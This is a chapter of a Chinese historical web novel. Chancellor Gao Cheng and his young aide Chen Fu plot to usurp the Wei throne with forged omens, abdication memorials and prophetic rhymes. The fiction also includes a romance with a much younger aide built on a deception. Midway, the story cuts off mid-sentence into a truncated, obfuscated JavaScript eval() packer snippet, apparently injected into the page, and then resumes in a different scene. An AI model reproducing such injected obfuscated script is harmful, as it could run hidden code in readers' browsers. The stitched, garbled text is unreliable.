“我一心为相国计,恨不得旦夕功成,然我更知,雷霆虽迅,恐伤嘉禾;烈火虽猛,难煅真金。”语气一沉,肃声质问二人,“相国今年方才二十九岁,西边的宇文泰已年老日衰,时间已然站在相国这边。那宇文泰尚且沉得住气,步步为营,尔等这般心急火燎地拱火,又是出于何种‘考虑’?!” 高澄无奈一笑。 几天来,他冷落陈元康,默许崔暹荐人分权,自认已是权衡利弊后的决断。可当她一出现,用斩钉截铁的语气说出这番话,那种熟悉的、被她引导的安心感一漫上心头,他就不由又想听她的了。 陆元规心知不好,忙恳切道,“君之所以明者,兼听也;其所以暗者,偏信也。昔日秦二世深居禁中,偏信赵高,乃至天下溃叛而不得知;梁帝萧衍偏信朱异,侯景兵临城下竟不得闻。相国该广纳众议,方为明主之道啊。”他刻意加重了那个‘众’字。 “陆卿既让相国‘兼听’,那逆耳之忠言,相国自然也该听。而且,卿所举之例未免偏颇。若偏信之人是王猛、诸葛亮那般志虑忠纯、算无遗策的国士,‘偏信’何害之有?不听,反生大害!” 崔暹急声道:“陈侍中,此等大事,非是凭三寸不烂之舌空辩即可!” 陈扶轻轻“呵”了一声,“崔公此言,恕我不敢苟同。真理越辩越明,连道理都站不住脚、辩不过人,还谈什么实效?方向若错,越是努力,只怕离真正的目标越远。” “你!嗳!” “何况,我何时手无实策空辩过?你又怎知我此番没有实策?”抬手冲二人做个‘请’的手势,“麻烦崔公,替我召一下太常卿陆希质;劳烦陆卿,代为通传京畿大都督;”转向堂外,“刘桃枝——” 来人喘声道,“侍中有何吩咐?” “去请中书令、陈常侍。” 崔暹脸色难看,陆元规深深蹙眉,皆看向一直默许她如此行事的高澄。 高澄早已被陈扶勾起浓浓期待,一心想知道她有何实策,他冲崔、陆二人合言笑道,“那便劳烦二位,替孤走这一趟吧。” 两刻后,锦帘掀动,四人入堂。 打头的是京畿大都督高浚,他冲二人咧嘴一笑,露出一口白牙,走到高澄右侧撩衣坐下。 紧随其后的是中书令李丞,入内后一丝不苟行礼,挨着高浚端正跪坐。后跟的陈元康明显拘谨,高澄瞥他一眼,将自己的茶推至左侧,陈元康忙落座陈扶身侧,双手捧过那盏茶抿了下。 最后进来的是太常卿陆希质。 他年事已高,身形微佝,朝服空荡摇摆,面容是久历官场的温吞倦意。他向高澄行礼后,慢悠悠坐在了堂下胡床上。 三人皆随高澄看向陈扶。 “陆公,”她直奔主题,“随后一年,可有值得留意之天文异象?” 陆希质捻着稀疏胡须,昏黄眼珠转了转,开口便是一套娴熟官话:“这个嘛……天象幽微,老夫近日确有关注。荧惑守心之象似有波动,然未成定势……至于祥瑞灾异,须得详查簿录,综合四方,方可……” 一番话说得云山雾罩,听似周全,实则毫无信息。 陈扶安静听完,面上并无不耐,反而唇角微弯,笑回, “稚驹不才,近日闲暇夜观天象略作推演,算得明年正月,当有‘太白经天’,‘月昼见于东方’之异象。” 此言一出,堂内气氛骤然一凝。 高浚把玩镇尺的手一顿,脱口道:“嚯!小阿扶,你还有这手?连天象都能观会算?”他用肩膀碰碰高澄,戏谑道,“阿兄该给小阿扶加领个太常卿做做!” 高澄正盯看陈扶,闻言嗤他道,“她何止懂天文历算,更懂军务兵事。三弟这京畿大都督,要不要也让贤给她?” 陆希质额角微微见汗。 他年老技疏,未曾推算出此等异象,可这陈侍中的气场…… “陈侍中真天资颖悟也。老夫……老夫近日潜心推算,亦有此推断,只是天象幽微,尚待确定,便暂未上报。侍中所言,正与老夫所疑相合!相合啊!” 陈扶幽深目光落在他闪躲的眼睛上,笑问:“陆公可知‘太白经天’,当作何解?” 专职不精,可听话听音他擅长啊,陆希质精神一振,拱手道:“太白经天,天下革,异姓兴,乃革故鼎新之兆,天命所归之征啊!” 陈扶点头,“陆公律历卜筮之业,果然娴熟。”起身走向他,从袍袖中取出一黄纸递过。 陆希质接过展开,就着天光念出: “太常卿某,顿首上言:臣率属官观测天象,算得正月己未,太白星将昼现于午位,至辛酉乃止,丙寅日,月昼出于东方。谨按《甘石星经》占曰:太白经天,天下革政,月昼见于东方,东者,‘齐’地分野。今二象并现,此乃天命转‘齐’之明征,恰值齐王殿下功德盛隆,元魏功衰之际。臣谨具天象实录,绘图上奏,恳请布告天下,以顺天心。某年月日,臣某顿首拜上。” 陆希质捏着黄纸的手微微发抖,老眼迸出亮光,“陈侍中、侍中竟连奏表都……” “休沐在家无事所写,为陆公抛砖引玉。” 高澄看着堂前那抹玉立紫影,她休沐不过四日,不仅算出天象,竟连奏书都已备好;他却因旁人将她隔离于决议之外,真是……糊涂啊。 陆希质连连拱手,“请相国、陈侍中放心,老臣必当在最合适之机,将此天赐祥瑞布告天下!” 陈扶转向李丞,从袖中取出另两张笺纸递上。 李丞双手接过,展开细读: 《百官劝禅第一表》 臣等顿首上书:伏惟齐王殿下,明德通于神明,盛勋格于皇天。自翼辅魏室,内清庶绩,外服四海,漳水出瑞石以昭命,太行献玉璧以表符,太白经天而显革政之兆,佛现金光而彰‘齐’兴之征。昔舜受尧禅,禹承舜祚,皆以天命攸归,兆民引领。今元‘魏’德祚已尽,天命向‘齐’,殿下若遂巡固让,则天人失望,社稷无依。臣等谨率百僚、士庶,昧死恳请殿下应天受命,以安四海,以宁万邦。 臣等顿首顿首,死罪死罪。 《百官劝禅第二表》 臣等顿首再上书:自前表上达,未蒙殿下俯从,朝野惶惶,如失攸归。并州现麒麟,青州集凤凰,童谣传唱,街巷谶语,此皆天神下示,非人力可致。齐王殿下具周公之德、伊尹之贤,今天命已彰,群情已附,若不承统,恐违上苍之命,负兆民之望。谨再叩阙,恳请殿下速顺舆情,践登大位,使四海有主,兆民得安。 臣等百二十人顿首顿首,死罪死罪。 他缓缓合上纸页,望向高澄交汇一眼,深吸一气,对陈扶拱手道:“陈侍中思虑之周全,遣词之老辣,李某……叹为观止。只是不知,届时当以何人牵头,率百官呈递此表?是……由中书监领衔?” 陈扶将目光投向高澄,她可以为主上备弓造箭,然何时发出,由谁执弓,应由主上决断。 “此事便由卿牵头,中书监是孤骨肉至亲,避嫌为好。” “丞谨遵相国钧命!必当竭尽驽钝,与同僚悉心筹备,待天象公示、舆情发酵之时,适时率众叩阙!” 陈扶看向抱臂噙笑的高浚。 “童谣传唱,街巷谶语,就有劳大都督了。” 高浚闻言剑眉一挑,摊手做为难状,“小阿扶,你给文臣备好了文书,轮到我这武将,反只给句空令?也给我张纸呗,我才好照着办呀!” 他手下有不少文参,本是玩笑,不想陈扶听了,竟真微微偏头沉吟起来,片刻,抬眼道: “渤海水,清复清;邺城阙,出日星。谁家子,坐明堂?两儿换做水字旁。” “漳水清,邺城宁,高公出,天下平。” “百尺竿,折其颠,水底灯,照魏迁。” 韵律简单,极易上口,却暗藏机锋,‘两儿换做水字旁’,那是‘元’换成‘氵’,‘百尺竿’折颠,喻指百年魏室高危将倾,‘水底灯’乃是‘澄’也。 高浚抚掌连道三声“妙!”他搓着手,已在盘算如何让这三则谶谣俚曲,传遍邺城每个角落。 陈元康早已悄挪案后,用工整楷书记好,吹吹墨迹,递给高浚,“大都督看这样可行?” 高浚笑嘻嘻捧着,“行!有劳陈公了!” 陈扶这才看向父亲。 “漳水出瑞石,太行献玉璧,普惠寺佛现金光,便靠阿耶了。开个好头,重赏之下,自有识趣求进、折罪保身之人,源源不断献上‘祥瑞’。” 陈元康立刻铺纸提笔草拟起来,他久在中枢,是高欢第一大秘,文书自是手到擒来。 写罢搁笔,将两纸草案,奉与高澄过目。 《器物祥瑞上报》 某州某郡太守臣某,顿首上言:今月某日某时,本郡百姓某于漳水之滨捕鱼,得白玉瑞石一方,长三尺,宽二尺,质润如脂,上有天然刻文‘齐受天命,永昌帝业’臣即时亲往查验,合郡官吏、乡绅共五十余人同见。玉出河滨,瑞石显文,王者受命之兆。今恰应齐王殿下盛德,实乃天命所归之明证。臣谨率合郡吏民,奉石上表,恳请朝廷认证,以慰天人之望。 附:官吏、乡绅、百姓签名某年月日,臣某顿首拜上。 《自然祥瑞上报》 某州刺史臣某,顿首上言:今月某日某时,有神鸟二只,自东南方来,文彩辉煌,若披锦缎,鸣声清越,响遏行云。盘旋于台寺殿阁上空三匝。‘凤凰集于官府,王者仁圣现世之兆也。’臣伏思,齐王殿下百揆以来,仁政广布,德泽旁流,故能上感天心,降此瑞鸟,以为嘉应。臣恭绘瑞鸟降临图卷一本,恳请朝廷明鉴,宣示四方,俾使遐迩皆知天命之所在。 附:证人名单及凤凰翔集图卷某年月日,臣某顿首惶惧谨上。 高澄靠入隐囊,目光扫过陈扶,又掠过重新焕发神采的陈元康,朗声笑起来。 “今日方知,先王所言,字字不虚!有你父女二人倾心辅佐,孤还有何愁?!” 四人领命离去,锦帘落下。 高澄目光胶着在身旁正低头整理袖口的人儿身上。她长睫低垂,圆润侧颊在柔光里显得异常温软,越看,越觉可亲可爱。 搁在膝头的手伸过去,轻握住她的手,用指腹摩挲她圆润稚气的指尖。 陈扶顿了下,微微向他这边倾了倾身, “相国对元大器、元瑾、元宣洪、元徽及散骑常侍荀济等人,有何想法?” 高澄把玩她手指的动作未停,笑意却淡了些许,语气也冷了几分,“前日孤路上偶遇济阴王元晖业,随口问他近来读何书。你猜他如何答?”他模仿着那种矜持语气,“他言,‘臣读了许多遍伊尹、霍光传记,不读曹氏、司马氏之书。’” “稚驹之所以劝相国循序渐进,除了要应明年之天象,留时间待谶语、祥瑞发酵,还因朝堂尚有不安分之人。”递给他一个意味深长眼神,“相国可听说过一种官,叫酷吏?” 他自然领会,观察着她反应,沉声道,“崔暹如何?他性子刚直,嫉恶如仇,倒也合适。” “崔公乃国之干臣,未来新朝廓清吏治、整饬朝纲,还要靠他扛鼎,当保全其清名,爱护其政羽。” 这番话全然公允,纯粹出于对大局与人才的最优置配考量。 高澄听得心头一热,另只手揽上她束带,稍一用力,规整跪坐的人儿被带进怀里,跌坐在了他曲起的那条腿上。 “那我家稚驹觉得,谁合适呢?” “杨愔。” 高澄眸光一闪,瞬间领悟她用意。 杨愔,通典章熟朝事,且一直在积极表现,接此‘橄榄枝’的可能性极大。最重要是,他是子进的人,日后若不得不丢弃……也无甚可惜。 “好,孤回头找他聊聊。” “不,稚驹去和他说。” 高澄一怔,旋即明白。他若亲自出面许官派差,日后切割起来未免麻烦。由她去谈,进退皆有余地,一切只是‘下面人妄揣上意,自行其是’。 她连这最幽微的隐患,都为他考虑周全了。 “那稚驹……打算如何同他说?” 怀中人瞬间进入角色,对‘杨愔’道: “杨侍中出身望族,才干卓绝,这些年却总在中位徘徊,未能尽展抱负,我实为侍中可惜啊。”黑眸微眯,循循低诱,“今时今日,正是识时务者建功立业、脱颖而出的大好时机。侍中若肯为大业分忧……相国对有功之臣,从来不吝抬举。可若错过这次,下次之机,就不知何年何月了。” 言罢,她恢复乖顺模样,只眼底还残留一丝狡黠。 高澄叹笑,“我家稚驹这张嘴啊……” “待他弹劾那几人后,挑一两桩证据确凿、罪名实在的,令陆操从重从快办理。届时,相国需对主谋‘痛心法办’,而对态度转圜、职位较低者‘宽待赦免’,并立升杨愔。则其余死硬之辈,自有人效法弹劾,办或不办,皆在相国便宜之内。待大局一稳……” “让崔、宋去弹劾杨愔跋扈弄权,孤再顺应清议,平息众怒?” 陈扶微微一笑,“也许只是微波,并无众怒,便给他个高爵虚职养老。” 历史上高澄信任杨愔,与之秘商代禅,而杨愔却在兰京行刺时第一个逃跑,转头成了高洋的宰相。既是别人的宰相,那在她的棋局里,便只配占这个生态位。 主角、配角、丑角、时机、台词,乃至登台顺序,她尽皆为他安排妥当,只待东风至,帷幕起。 揽在她腰侧的手臂收紧,让那纤弱脊背更深地陷进他怀里。 “那陆希质呢?”他亲昵地‘审问’,“太常卿那么多,稚驹为何偏偏选他?此人排挤诋毁有才识的同僚,向来受有识之士鄙薄。” 她挣了挣,才得以侧过脸,“因为他油尽灯枯,时日无多了呀,连灭口……都省了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几息之间,唯有彼此的呼吸声,空气里,松烟墨、降真香、以及某种更隐秘的气息,交织在一起。 他喉结滚动了一下,终是先开了口, “还咬么?” 怀中人终于回过神来,水光瞬间漫上那黑亮眼睛,聚成泪珠要落不落,连腮带耳,霎时晕上层薄红。 “相国?” 看她这般带怒含嗔、羞愤欲滴,高澄恍然悟到了什么,心里一硒,早知就不用‘亲嘴会孕’糊弄她了。 “稚驹,看着我……别怕。所谓口津相渡,需是长久缠绵深入才会……方才那一下,与我们平日亲近时,亲额头,碰脸颊并无分别,不会有事的。” “相国,是你说的吧?此事在明媒正娶之前,绝对、绝对不可与任何男子尝试!难道相国不是男子?!” 趁他被问的一怔,她挣开他,站起身道, “相国既郑重告诫过稚驹,不可与男子如此,方才又说此事与触碰额头、脸颊并无分别,那便触碰额头、脸颊亦不可为。为全相国教诲之德,自此皆请免了吧。” “臣八岁时相国曾言,不遵周礼是为辅弼称心,而今臣之辅弼既已称心,便还是循礼而行吧。 ” 话音刚落,外间传来细碎轻柔的步履声,门帘被一只纤手撩起。 王令姝走了进来。 她看见屋内情景,脚步顿了一瞬。 陈侍中站于案前,背对着高澄,眼圈微红;高澄曲腿坐于榻上,目光锁着陈侍中背影,面色沉晦,二人的同色官袍,皆皱的不成样子。 陈扶敛去所有情绪,对着王令姝颔首一礼,径自掀帘而出。 外间传来清淡嗓音,“就摆在这里吧。” 食案轻放的闷响,碗箸相触的细微叮当,再然后,便是寂静,唯有微凉的穿堂风,吹晃了内外隔着的那层锦帘。 膳奴兰京进门,将食盒一一放置案上,掀盖,高澄目光从门帘处收回,停在中央那盅飘着些许油花的汤上。 “孤说过,羹汤须滤尽浮油。兰京,孤的话,在你这里不作数么?” “奴……” “刘桃枝!” 刘桃枝紧绷着脸进来。 “拉出去,十军棍。让他长长记性。” 兰京被拖走,已坐下的王令姝看看面色冷硬的高澄,又瞥一眼他又盯回去的门帘,先前在两淮宴上起的揣测,此刻坐实了。定是因自己分了相国宠爱,陈侍中才会对相国使性子,先前只是二人闹别扭,而今却连累无辜受罚。 她确实只吃得惯兰京的手艺,然人在屋檐下,不得不低头。 “令姝既已跟了相国,还是试着入乡随俗吧,往后令姝在将军府用膳便好,就不来东柏堂……添麻烦了。” 高澄目光移向她,“别什么都往自己身上揽。” 庭中传来沉闷的击打声,报数声,被堵住嘴后含混的痛哼。 陈扶眼前晃动的,不再是高澄骤然贴近的眼睫,而是前日阿禛惊惶的脸。 “阿改那厮撺掇兰京,说‘总这般下去,不知哪天就被打死,不如拼了,和相国同归于尽算了’……俺吓得魂都没了……” 她问:“阿改背后是谁?” “没、没见谁找过阿改啊……许是……许是恨极了吧?自打相国得了两淮,天天要接待南边来的老爷,俺们日夜不得歇……累就罢了,还得挨打,连俺都因做菜慢,被薛苍头打过……” 午休后再回内堂,光影已斜。 高澄正和魏收笑谈。 “刚到的军报,那萧范收到卿的劝降信后,已率部西上,将合州让出,还要送人质于孤,哈哈,真是蠢得可怜。合州之功,卿当居首,只可惜……‘尺书征建业,折简召长安’的痛快,孤还尚未尝到啊。”* “相国竟还记得臣秋射宴上的狂妄之句。合州既能传檄而定,足见相国威德远播。建业、长安,迟早亦是囊中之物,臣愿为相国笔下先锋,尺书折简!” 高澄收敛笑意,显出几分认真,“孤偶有所思,常旋踵即忘,未能尽言。待他日忆起,又往往辞不达意。唯卿所呈之文章,能发孤之未发,详孤之未尽,恰合孤意啊。” 魏收面色泛红,正欲再表忠心,忽瞥见陈扶静立门边,改口笑道:“相国过誉了。若论体察上意,阐发幽微,还要数陈侍中呐。” 陈扶未作回应,高澄亦不回应他此言。 二人氛围实在奇怪,魏收知趣不再多言,寻个由头告退了。 高澄如常批文书,陈扶如常研墨,然而,二人默契却不再如常,他已提笔欲往砚池中蘸墨,她的墨锭却仍在砚台里打着圈,他手腕在空中顿了顿,只得收回。 稍顷,她端来新沏的茶,他指尖将将触到杯壁,她却已松了手—— “哐啷!” 茶盏倾倒,茶汤泼了半案,迅速濡湿了案上文书,浓酽茶色洇开,将铁画银钩的字迹晕成一片混沌。 两人俱是一愣。 “臣失仪。” 陈扶抽出帕子擦拭,高澄看着那片狼藉,又看看她绷紧的侧脸,胸口那股盘旋不去的郁气,忽被这笨拙戳破一个小口,渐泄了。 他叹了一声,伸手虚虚一拦,“好了,别擦了。令他们再写一份便是。” 她回身跪好,帕子攥在湿漉漉的指间。 半晌,他开口唤道,“稚驹,当真要与我生分么?” “臣与相国……君臣相得,同心合意,安有生分。” “昔日孝文帝与侍中冯诞同心合意,同舆而载,同案而食,同席坐卧。而孤的侍中,却如此忌惮孤触碰。”高澄掌心向上,伸至她面前,“稚驹,你心里竖着的,究竟是男女大防,还是亲疏之别?” 陈扶心里一叹,将手虚放入他掌心。 刚一触到,便被紧紧攥住,五指牢牢相锁。 月华如水,流泻在相府重重廊庑之间。 “相国~” 廊下转出个袅袅婷婷的身影,是孝珩的阿母王氏。 她穿着粉襦裙,簪朵新鲜的牡丹,面若桃花,眼似含露,唇边梨涡浅现,真真人比花娇。 “怎么一日不见,妾就这么想相国呀?”她偎进他怀里,仰着脸看他,“孝珩今日画了新画,相国要不要评点评点?” “好,便看看那小子画得如何,若画得好,你也有赏。” 两人相携着,往王氏所居的院落走。 夜色温柔,高澄忽然开口,语似随意,“若你……还未嫁给孤时,孤一时失了分寸,亲了你,你会如何?” 王氏‘噗嗤’一笑,更紧地抱住他手臂,“那妾非要相国负责不可。” 如果这才是寻常女子该有的反应…… “相国。” 思绪被拉回,李昌仪一袭男女通穿的玄色袖衫两裆,静立在几步外的廊柱旁。 她先对王氏道,“只是借步片刻。”转而看向高澄,“我有话要说。” 王氏虽有些不愿,但也知李昌仪既如此说,便会将人还她,她松开手,对高澄娇声道:“那妾先去温着酒,让孝珩备好画。”说罢,一步三回头地往自己院子去了。 高澄走近李昌仪,盯看着那张冷艳的脸,她对他好一阵歹一阵的,倒也别有一番吸引。 “昌仪有何话要说?” “昌仪想恳请相国——赐我和离。”